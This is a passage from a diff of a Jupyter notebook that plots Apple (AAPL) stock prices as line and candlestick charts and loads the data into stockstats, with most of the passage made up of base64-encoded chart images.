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\n"
+ },
+ "metadata": {
+ "needs_background": "light"
+ }
+ }
+ ],
+ "source": [
+ "df_aapl[[\"Open\", \"High\", \"Low\", \"Close\"]].plot()\n",
+ "plt.show()"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": 9,
+ "metadata": {},
+ "outputs": [
+ {
+ "output_type": "display_data",
+ "data": {
+ "text/plain": "",
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+ },
+ "metadata": {
+ "needs_background": "light"
+ }
+ }
+ ],
+ "source": [
+ "fig = plt.figure(figsize=(10, 10))\n",
+ "ax = plt.subplot()\n",
+ "\n",
+ "plot_data = []\n",
+ "for i in range(150, len(df_aapl)):\n",
+ " row = [\n",
+ " i, \n",
+ " df_aapl.Open.iloc[i], \n",
+ " df_aapl.High.iloc[i], \n",
+ " df_aapl.Low.iloc[i], \n",
+ " df_aapl.Close.iloc[i], \n",
+ " ]\n",
+ " plot_data.append(row)\n",
+ "candlestick_ohlc(ax, plot_data)\n",
+ "plt.show()"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": 10,
+ "metadata": {},
+ "outputs": [],
+ "source": [
+ "from stockstats import StockDataFrame\n",
+ "stocks = StockDataFrame.retype(df_aapl[[\"Open\", \"Close\", \"High\", \"Low\", \"Volume\"]])"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": 11,
+ "metadata": {},
+ "outputs": [
+ {
+ "output_type": "display_data",
+ "data": {
+ "text/plain": "",
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